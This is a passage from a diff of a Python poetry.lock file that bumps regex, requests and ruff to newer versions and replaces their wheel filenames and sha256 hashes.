"sha256:db2a0b1857f18b11e3b0e54ddfefc96af46b0896fb678c85f63fb8c37518b3e7"}, - {file = "regex-2023.12.25-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:7502534e55c7c36c0978c91ba6f61703faf7ce733715ca48f499d3dbbd7657e0"}, - {file = "regex-2023.12.25-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e8c7e08bb566de4faaf11984af13f6bcf6a08f327b13631d41d62592681d24fe"}, - {file = "regex-2023.12.25-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:283fc8eed679758de38fe493b7d7d84a198b558942b03f017b1f94dda8efae80"}, - {file = "regex-2023.12.25-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:f44dd4d68697559d007462b0a3a1d9acd61d97072b71f6d1968daef26bc744bd"}, - {file = "regex-2023.12.25-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:67d3ccfc590e5e7197750fcb3a2915b416a53e2de847a728cfa60141054123d4"}, - {file = "regex-2023.12.25-cp311-cp311-win32.whl", hash = "sha256:68191f80a9bad283432385961d9efe09d783bcd36ed35a60fb1ff3f1ec2efe87"}, - {file = "regex-2023.12.25-cp311-cp311-win_amd64.whl", hash = "sha256:7d2af3f6b8419661a0c421584cfe8aaec1c0e435ce7e47ee2a97e344b98f794f"}, - {file = "regex-2023.12.25-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:8a0ccf52bb37d1a700375a6b395bff5dd15c50acb745f7db30415bae3c2b0715"}, - {file = "regex-2023.12.25-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:c3c4a78615b7762740531c27cf46e2f388d8d727d0c0c739e72048beb26c8a9d"}, - {file = "regex-2023.12.25-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ad83e7545b4ab69216cef4cc47e344d19622e28aabec61574b20257c65466d6a"}, - {file = "regex-2023.12.25-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b7a635871143661feccce3979e1727c4e094f2bdfd3ec4b90dfd4f16f571a87a"}, - {file = "regex-2023.12.25-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d498eea3f581fbe1b34b59c697512a8baef88212f92e4c7830fcc1499f5b45a5"}, - {file = "regex-2023.12.25-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:43f7cd5754d02a56ae4ebb91b33461dc67be8e3e0153f593c509e21d219c5060"}, - {file = "regex-2023.12.25-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51f4b32f793812714fd5307222a7f77e739b9bc566dc94a18126aba3b92b98a3"}, - {file = "regex-2023.12.25-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ba99d8077424501b9616b43a2d208095746fb1284fc5ba490139651f971d39d9"}, - {file = "regex-2023.12.25-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:4bfc2b16e3ba8850e0e262467275dd4d62f0d045e0e9eda2bc65078c0110a11f"}, - {file = "regex-2023.12.25-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:8c2c19dae8a3eb0ea45a8448356ed561be843b13cbc34b840922ddf565498c1c"}, - {file = "regex-2023.12.25-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:60080bb3d8617d96f0fb7e19796384cc2467447ef1c491694850ebd3670bc457"}, - {file = "regex-2023.12.25-cp312-cp312-musllinux_1_1_s390x.whl", hash = "sha256:b77e27b79448e34c2c51c09836033056a0547aa360c45eeeb67803da7b0eedaf"}, - {file = "regex-2023.12.25-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:518440c991f514331f4850a63560321f833979d145d7d81186dbe2f19e27ae3d"}, - {file = "regex-2023.12.25-cp312-cp312-win32.whl", hash = "sha256:e2610e9406d3b0073636a3a2e80db05a02f0c3169b5632022b4e81c0364bcda5"}, - {file = "regex-2023.12.25-cp312-cp312-win_amd64.whl", hash = "sha256:cc37b9aeebab425f11f27e5e9e6cf580be7206c6582a64467a14dda211abc232"}, - {file = "regex-2023.12.25-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:da695d75ac97cb1cd725adac136d25ca687da4536154cdc2815f576e4da11c69"}, - {file = "regex-2023.12.25-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d126361607b33c4eb7b36debc173bf25d7805847346dd4d99b5499e1fef52bc7"}, - {file = "regex-2023.12.25-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4719bb05094d7d8563a450cf8738d2e1061420f79cfcc1fa7f0a44744c4d8f73"}, - {file = "regex-2023.12.25-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5dd58946bce44b53b06d94aa95560d0b243eb2fe64227cba50017a8d8b3cd3e2"}, - {file = "regex-2023.12.25-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22a86d9fff2009302c440b9d799ef2fe322416d2d58fc124b926aa89365ec482"}, - {file = "regex-2023.12.25-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2aae8101919e8aa05ecfe6322b278f41ce2994c4a430303c4cd163fef746e04f"}, - {file = "regex-2023.12.25-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:e692296c4cc2873967771345a876bcfc1c547e8dd695c6b89342488b0ea55cd8"}, - {file = "regex-2023.12.25-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:263ef5cc10979837f243950637fffb06e8daed7f1ac1e39d5910fd29929e489a"}, - {file = "regex-2023.12.25-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:d6f7e255e5fa94642a0724e35406e6cb7001c09d476ab5fce002f652b36d0c39"}, - {file = "regex-2023.12.25-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:88ad44e220e22b63b0f8f81f007e8abbb92874d8ced66f32571ef8beb0643b2b"}, - {file = "regex-2023.12.25-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:3a17d3ede18f9cedcbe23d2daa8a2cd6f59fe2bf082c567e43083bba3fb00347"}, - {file = "regex-2023.12.25-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d15b274f9e15b1a0b7a45d2ac86d1f634d983ca40d6b886721626c47a400bf39"}, - {file = "regex-2023.12.25-cp37-cp37m-win32.whl", hash = "sha256:ed19b3a05ae0c97dd8f75a5d8f21f7723a8c33bbc555da6bbe1f96c470139d3c"}, - {file = "regex-2023.12.25-cp37-cp37m-win_amd64.whl", hash = "sha256:a6d1047952c0b8104a1d371f88f4ab62e6275567d4458c1e26e9627ad489b445"}, - {file = "regex-2023.12.25-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:b43523d7bc2abd757119dbfb38af91b5735eea45537ec6ec3a5ec3f9562a1c53"}, - {file = "regex-2023.12.25-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:efb2d82f33b2212898f1659fb1c2e9ac30493ac41e4d53123da374c3b5541e64"}, - {file = "regex-2023.12.25-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b7fca9205b59c1a3d5031f7e64ed627a1074730a51c2a80e97653e3e9fa0d415"}, - {file = "regex-2023.12.25-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:086dd15e9435b393ae06f96ab69ab2d333f5d65cbe65ca5a3ef0ec9564dfe770"}, - {file = "regex-2023.12.25-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e81469f7d01efed9b53740aedd26085f20d49da65f9c1f41e822a33992cb1590"}, - {file = "regex-2023.12.25-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:34e4af5b27232f68042aa40a91c3b9bb4da0eeb31b7632e0091afc4310afe6cb"}, - {file = "regex-2023.12.25-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9852b76ab558e45b20bf1893b59af64a28bd3820b0c2efc80e0a70a4a3ea51c1"}, - {file = "regex-2023.12.25-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ff100b203092af77d1a5a7abe085b3506b7eaaf9abf65b73b7d6905b6cb76988"}, - {file = "regex-2023.12.25-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:cc038b2d8b1470364b1888a98fd22d616fba2b6309c5b5f181ad4483e0017861"}, - {file = "regex-2023.12.25-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:094ba386bb5c01e54e14434d4caabf6583334090865b23ef58e0424a6286d3dc"}, - {file = "regex-2023.12.25-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:5cd05d0f57846d8ba4b71d9c00f6f37d6b97d5e5ef8b3c3840426a475c8f70f4"}, - {file = "regex-2023.12.25-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:9aa1a67bbf0f957bbe096375887b2505f5d8ae16bf04488e8b0f334c36e31360"}, - {file = "regex-2023.12.25-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:98a2636994f943b871786c9e82bfe7883ecdaba2ef5df54e1450fa9869d1f756"}, - {file = "regex-2023.12.25-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:37f8e93a81fc5e5bd8db7e10e62dc64261bcd88f8d7e6640aaebe9bc180d9ce2"}, - {file = "regex-2023.12.25-cp38-cp38-win32.whl", hash = "sha256:d78bd484930c1da2b9679290a41cdb25cc127d783768a0369d6b449e72f88beb"}, - {file = "regex-2023.12.25-cp38-cp38-win_amd64.whl", hash = "sha256:b521dcecebc5b978b447f0f69b5b7f3840eac454862270406a39837ffae4e697"}, - {file = "regex-2023.12.25-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:f7bc09bc9c29ebead055bcba136a67378f03d66bf359e87d0f7c759d6d4ffa31"}, - {file = "regex-2023.12.25-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:e14b73607d6231f3cc4622809c196b540a6a44e903bcfad940779c80dffa7be7"}, - {file = "regex-2023.12.25-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:9eda5f7a50141291beda3edd00abc2d4a5b16c29c92daf8d5bd76934150f3edc"}, - {file = "regex-2023.12.25-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cc6bb9aa69aacf0f6032c307da718f61a40cf970849e471254e0e91c56ffca95"}, - {file = "regex-2023.12.25-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:298dc6354d414bc921581be85695d18912bea163a8b23cac9a2562bbcd5088b1"}, - {file = "regex-2023.12.25-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2f4e475a80ecbd15896a976aa0b386c5525d0ed34d5c600b6d3ebac0a67c7ddf"}, - {file = "regex-2023.12.25-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:531ac6cf22b53e0696f8e1d56ce2396311254eb806111ddd3922c9d937151dae"}, - {file = "regex-2023.12.25-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:22f3470f7524b6da61e2020672df2f3063676aff444db1daa283c2ea4ed259d6"}, - {file = "regex-2023.12.25-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:89723d2112697feaa320c9d351e5f5e7b841e83f8b143dba8e2d2b5f04e10923"}, - {file = "regex-2023.12.25-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0ecf44ddf9171cd7566ef1768047f6e66975788258b1c6c6ca78098b95cf9a3d"}, - {file = "regex-2023.12.25-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:905466ad1702ed4acfd67a902af50b8db1feeb9781436372261808df7a2a7bca"}, - {file = "regex-2023.12.25-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:4558410b7a5607a645e9804a3e9dd509af12fb72b9825b13791a37cd417d73a5"}, - {file = "regex-2023.12.25-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:7e316026cc1095f2a3e8cc012822c99f413b702eaa2ca5408a513609488cb62f"}, - {file = "regex-2023.12.25-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:3b1de218d5375cd6ac4b5493e0b9f3df2be331e86520f23382f216c137913d20"}, - {file = "regex-2023.12.25-cp39-cp39-win32.whl", hash = "sha256:11a963f8e25ab5c61348d090bf1b07f1953929c13bd2309a0662e9ff680763c9"}, - {file = "regex-2023.12.25-cp39-cp39-win_amd64.whl", hash = "sha256:e693e233ac92ba83a87024e1d32b5f9ab15ca55ddd916d878146f4e3406b5c91"}, - {file = "regex-2023.12.25.tar.gz", hash = "sha256:29171aa128da69afdf4bde412d5bedc335f2ca8fcfe4489038577d05f16181e5"}, + {file = "regex-2024.5.15-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:a81e3cfbae20378d75185171587cbf756015ccb14840702944f014e0d93ea09f"}, + {file = "regex-2024.5.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7b59138b219ffa8979013be7bc85bb60c6f7b7575df3d56dc1e403a438c7a3f6"}, + {file = "regex-2024.5.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a0bd000c6e266927cb7a1bc39d55be95c4b4f65c5be53e659537537e019232b1"}, + {file = "regex-2024.5.15-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5eaa7ddaf517aa095fa8da0b5015c44d03da83f5bd49c87961e3c997daed0de7"}, + {file = "regex-2024.5.15-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ba68168daedb2c0bab7fd7e00ced5ba90aebf91024dea3c88ad5063c2a562cca"}, + {file = "regex-2024.5.15-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6e8d717bca3a6e2064fc3a08df5cbe366369f4b052dcd21b7416e6d71620dca1"}, + {file = "regex-2024.5.15-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1337b7dbef9b2f71121cdbf1e97e40de33ff114801263b275aafd75303bd62b5"}, + {file = "regex-2024.5.15-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f9ebd0a36102fcad2f03696e8af4ae682793a5d30b46c647eaf280d6cfb32796"}, + {file = "regex-2024.5.15-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:9efa1a32ad3a3ea112224897cdaeb6aa00381627f567179c0314f7b65d354c62"}, + {file = "regex-2024.5.15-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:1595f2d10dff3d805e054ebdc41c124753631b6a471b976963c7b28543cf13b0"}, + {file = "regex-2024.5.15-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:b802512f3e1f480f41ab5f2cfc0e2f761f08a1f41092d6718868082fc0d27143"}, + {file = "regex-2024.5.15-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a0981022dccabca811e8171f913de05720590c915b033b7e601f35ce4ea7019f"}, + {file = "regex-2024.5.15-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:19068a6a79cf99a19ccefa44610491e9ca02c2be3305c7760d3831d38a467a6f"}, + {file = "regex-2024.5.15-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:1b5269484f6126eee5e687785e83c6b60aad7663dafe842b34691157e5083e53"}, + {file = "regex-2024.5.15-cp310-cp310-win32.whl", hash = "sha256:ada150c5adfa8fbcbf321c30c751dc67d2f12f15bd183ffe4ec7cde351d945b3"}, + {file = "regex-2024.5.15-cp310-cp310-win_amd64.whl", hash = "sha256:ac394ff680fc46b97487941f5e6ae49a9f30ea41c6c6804832063f14b2a5a145"}, + {file = "regex-2024.5.15-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:f5b1dff3ad008dccf18e652283f5e5339d70bf8ba7c98bf848ac33db10f7bc7a"}, + {file = "regex-2024.5.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c6a2b494a76983df8e3d3feea9b9ffdd558b247e60b92f877f93a1ff43d26656"}, + {file = "regex-2024.5.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a32b96f15c8ab2e7d27655969a23895eb799de3665fa94349f3b2fbfd547236f"}, + {file = "regex-2024.5.15-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:10002e86e6068d9e1c91eae8295ef690f02f913c57db120b58fdd35a6bb1af35"}, + {file = "regex-2024.5.15-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ec54d5afa89c19c6dd8541a133be51ee1017a38b412b1321ccb8d6ddbeb4cf7d"}, + {file = "regex-2024.5.15-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:10e4ce0dca9ae7a66e6089bb29355d4432caed736acae36fef0fdd7879f0b0cb"}, + {file = "regex-2024.5.15-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e507ff1e74373c4d3038195fdd2af30d297b4f0950eeda6f515ae3d84a1770f"}, + {file = "regex-2024.5.15-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d1f059a4d795e646e1c37665b9d06062c62d0e8cc3c511fe01315973a6542e40"}, + {file = "regex-2024.5.15-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0721931ad5fe0dda45d07f9820b90b2148ccdd8e45bb9e9b42a146cb4f695649"}, + {file = "regex-2024.5.15-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:833616ddc75ad595dee848ad984d067f2f31be645d603e4d158bba656bbf516c"}, + {file = "regex-2024.5.15-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:287eb7f54fc81546346207c533ad3c2c51a8d61075127d7f6d79aaf96cdee890"}, + {file = "regex-2024.5.15-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:19dfb1c504781a136a80ecd1fff9f16dddf5bb43cec6871778c8a907a085bb3d"}, + {file = "regex-2024.5.15-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:119af6e56dce35e8dfb5222573b50c89e5508d94d55713c75126b753f834de68"}, + {file = "regex-2024.5.15-cp311-cp311-win32.whl", hash = "sha256:1c1c174d6ec38d6c8a7504087358ce9213d4332f6293a94fbf5249992ba54efa"}, + {file = "regex-2024.5.15-cp311-cp311-win_amd64.whl", hash = "sha256:9e717956dcfd656f5055cc70996ee2cc82ac5149517fc8e1b60261b907740201"}, + {file = "regex-2024.5.15-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:632b01153e5248c134007209b5c6348a544ce96c46005d8456de1d552455b014"}, + {file = "regex-2024.5.15-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:e64198f6b856d48192bf921421fdd8ad8eb35e179086e99e99f711957ffedd6e"}, + {file = "regex-2024.5.15-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:68811ab14087b2f6e0fc0c2bae9ad689ea3584cad6917fc57be6a48bbd012c49"}, + {file = "regex-2024.5.15-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f8ec0c2fea1e886a19c3bee0cd19d862b3aa75dcdfb42ebe8ed30708df64687a"}, + {file = "regex-2024.5.15-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d0c0c0003c10f54a591d220997dd27d953cd9ccc1a7294b40a4be5312be8797b"}, + {file = "regex-2024.5.15-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2431b9e263af1953c55abbd3e2efca67ca80a3de8a0437cb58e2421f8184717a"}, + {file = "regex-2024.5.15-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4a605586358893b483976cffc1723fb0f83e526e8f14c6e6614e75919d9862cf"}, + {file = "regex-2024.5.15-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:391d7f7f1e409d192dba8bcd42d3e4cf9e598f3979cdaed6ab11288da88cb9f2"}, + {file = "regex-2024.5.15-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9ff11639a8d98969c863d4617595eb5425fd12f7c5ef6621a4b74b71ed8726d5"}, + {file = "regex-2024.5.15-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:4eee78a04e6c67e8391edd4dad3279828dd66ac4b79570ec998e2155d2e59fd5"}, + {file = "regex-2024.5.15-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:8fe45aa3f4aa57faabbc9cb46a93363edd6197cbc43523daea044e9ff2fea83e"}, + {file = "regex-2024.5.15-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:d0a3d8d6acf0c78a1fff0e210d224b821081330b8524e3e2bc5a68ef6ab5803d"}, + {file = "regex-2024.5.15-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c486b4106066d502495b3025a0a7251bf37ea9540433940a23419461ab9f2a80"}, + {file = "regex-2024.5.15-cp312-cp312-win32.whl", hash = "sha256:c49e15eac7c149f3670b3e27f1f28a2c1ddeccd3a2812cba953e01be2ab9b5fe"}, + {file = "regex-2024.5.15-cp312-cp312-win_amd64.whl", hash = "sha256:673b5a6da4557b975c6c90198588181029c60793835ce02f497ea817ff647cb2"}, + {file = "regex-2024.5.15-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:87e2a9c29e672fc65523fb47a90d429b70ef72b901b4e4b1bd42387caf0d6835"}, + {file = "regex-2024.5.15-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:c3bea0ba8b73b71b37ac833a7f3fd53825924165da6a924aec78c13032f20850"}, + {file = "regex-2024.5.15-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:bfc4f82cabe54f1e7f206fd3d30fda143f84a63fe7d64a81558d6e5f2e5aaba9"}, + {file = "regex-2024.5.15-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e5bb9425fe881d578aeca0b2b4b3d314ec88738706f66f219c194d67179337cb"}, + {file = "regex-2024.5.15-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:64c65783e96e563103d641760664125e91bd85d8e49566ee560ded4da0d3e704"}, + {file = "regex-2024.5.15-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cf2430df4148b08fb4324b848672514b1385ae3807651f3567871f130a728cc3"}, + {file = "regex-2024.5.15-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5397de3219a8b08ae9540c48f602996aa6b0b65d5a61683e233af8605c42b0f2"}, + {file = "regex-2024.5.15-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:455705d34b4154a80ead722f4f185b04c4237e8e8e33f265cd0798d0e44825fa"}, + {file = "regex-2024.5.15-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:b2b6f1b3bb6f640c1a92be3bbfbcb18657b125b99ecf141fb3310b5282c7d4ed"}, + {file = "regex-2024.5.15-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:3ad070b823ca5890cab606c940522d05d3d22395d432f4aaaf9d5b1653e47ced"}, + {file = "regex-2024.5.15-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:5b5467acbfc153847d5adb21e21e29847bcb5870e65c94c9206d20eb4e99a384"}, + {file = "regex-2024.5.15-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:e6662686aeb633ad65be2a42b4cb00178b3fbf7b91878f9446075c404ada552f"}, + {file = "regex-2024.5.15-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:2b4c884767504c0e2401babe8b5b7aea9148680d2e157fa28f01529d1f7fcf67"}, + {file = "regex-2024.5.15-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:3cd7874d57f13bf70078f1ff02b8b0aa48d5b9ed25fc48547516c6aba36f5741"}, + {file = "regex-2024.5.15-cp38-cp38-win32.whl", hash = "sha256:e4682f5ba31f475d58884045c1a97a860a007d44938c4c0895f41d64481edbc9"}, + {file = "regex-2024.5.15-cp38-cp38-win_amd64.whl", hash = "sha256:d99ceffa25ac45d150e30bd9ed14ec6039f2aad0ffa6bb87a5936f5782fc1569"}, + {file = "regex-2024.5.15-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:13cdaf31bed30a1e1c2453ef6015aa0983e1366fad2667657dbcac7b02f67133"}, + {file = "regex-2024.5.15-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cac27dcaa821ca271855a32188aa61d12decb6fe45ffe3e722401fe61e323cd1"}, + {file = "regex-2024.5.15-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7dbe2467273b875ea2de38ded4eba86cbcbc9a1a6d0aa11dcf7bd2e67859c435"}, + {file = "regex-2024.5.15-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:64f18a9a3513a99c4bef0e3efd4c4a5b11228b48aa80743be822b71e132ae4f5"}, + {file = "regex-2024.5.15-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d347a741ea871c2e278fde6c48f85136c96b8659b632fb57a7d1ce1872547600"}, + {file = "regex-2024.5.15-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1878b8301ed011704aea4c806a3cadbd76f84dece1ec09cc9e4dc934cfa5d4da"}, + {file = "regex-2024.5.15-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4babf07ad476aaf7830d77000874d7611704a7fcf68c9c2ad151f5d94ae4bfc4"}, + {file = "regex-2024.5.15-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:35cb514e137cb3488bce23352af3e12fb0dbedd1ee6e60da053c69fb1b29cc6c"}, + {file = "regex-2024.5.15-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:cdd09d47c0b2efee9378679f8510ee6955d329424c659ab3c5e3a6edea696294"}, + {file = "regex-2024.5.15-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:72d7a99cd6b8f958e85fc6ca5b37c4303294954eac1376535b03c2a43eb72629"}, + {file = "regex-2024.5.15-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:a094801d379ab20c2135529948cb84d417a2169b9bdceda2a36f5f10977ebc16"}, + {file = "regex-2024.5.15-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:c0c18345010870e58238790a6779a1219b4d97bd2e77e1140e8ee5d14df071aa"}, + {file = "regex-2024.5.15-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:16093f563098448ff6b1fa68170e4acbef94e6b6a4e25e10eae8598bb1694b5d"}, + {file = "regex-2024.5.15-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:e38a7d4e8f633a33b4c7350fbd8bad3b70bf81439ac67ac38916c4a86b465456"}, + {file = "regex-2024.5.15-cp39-cp39-win32.whl", hash = "sha256:71a455a3c584a88f654b64feccc1e25876066c4f5ef26cd6dd711308aa538694"}, + {file = "regex-2024.5.15-cp39-cp39-win_amd64.whl", hash = "sha256:cab12877a9bdafde5500206d1020a584355a97884dfd388af3699e9137bf7388"}, + {file = "regex-2024.5.15.tar.gz", hash = "sha256:d3ee02d9e5f482cc8309134a91eeaacbdd2261ba111b0fef3748eeb4913e6a2c"}, ] [[package]] name = "requests" -version = "2.31.0" +version = "2.32.3" description = "Python HTTP for Humans." optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"}, - {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"}, + {file = "requests-2.32.3-py3-none-any.whl", hash = "sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6"}, + {file = "requests-2.32.3.tar.gz", hash = "sha256:55365417734eb18255590a9ff9eb97e9e1da868d4ccd6402399eaf68af20a760"}, ] [package.dependencies] @@ -2447,28 +2444,29 @@ pyasn1 = ">=0.1.3" [[package]] name = "ruff" -version = "0.2.1" +version = "0.5.0" description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" files = [ - {file = "ruff-0.2.1-py3-none-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = 